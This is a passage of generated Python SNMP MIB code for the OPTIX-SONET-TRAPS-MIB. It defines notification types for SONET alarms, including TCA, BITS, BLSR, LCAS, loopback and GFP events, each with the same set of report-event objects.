("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaSESSection.setStatus('current') almTcaSESVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36956)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaSESVT.setStatus('current') almTcaUASCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36957)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaUASCPPath.setStatus('current') almTcaUASLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36958)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaUASLine.setStatus('current') almTcaUASPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36959)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaUASPath.setStatus('current') almTcaUASPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36960)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaUASPPath.setStatus('current') almTcaUASVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36961)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTcaUASVT.setStatus('current') almBitsAIS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36966)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBitsAIS.setStatus('current') almBitsLOF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36967)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBitsLOF.setStatus('current') almBitsLOS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36968)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBitsLOS.setStatus('current') almBitsCodeViolationOver = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36969)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBitsCodeViolationOver.setStatus('current') almBlsrSFofRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36970)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBlsrSFofRing.setStatus('current') almBlsrSFofSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36971)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBlsrSFofSpan.setStatus('current') almBlsrSDofRing = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36972)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBlsrSDofRing.setStatus('current') almBlsrSDofSpan = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36973)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBlsrSDofSpan.setStatus('current') almBlsrNodeIsolate = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36974)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almBlsrNodeIsolate.setStatus('current') almSF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36975)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSF.setStatus('current') almSD = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36976)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSD.setStatus('current') almAutoSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36977)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almAutoSwitch.setStatus('current') almLcasPlct = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36978)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLcasPlct.setStatus('current') almLcasPlcr = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36979)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLcasPlcr.setStatus('current') almLcasTlct = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36980)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLcasTlct.setStatus('current') almLcasTlcr = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36981)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLcasTlcr.setStatus('current') almLcasFopt = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36985)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLcasFopt.setStatus('current') almLcasFopr = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 36986)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLcasFopr.setStatus('current') almLoopbackFAC2NI = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40960)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackFAC2NI.setStatus('current') almGfpCsf = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40961)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), 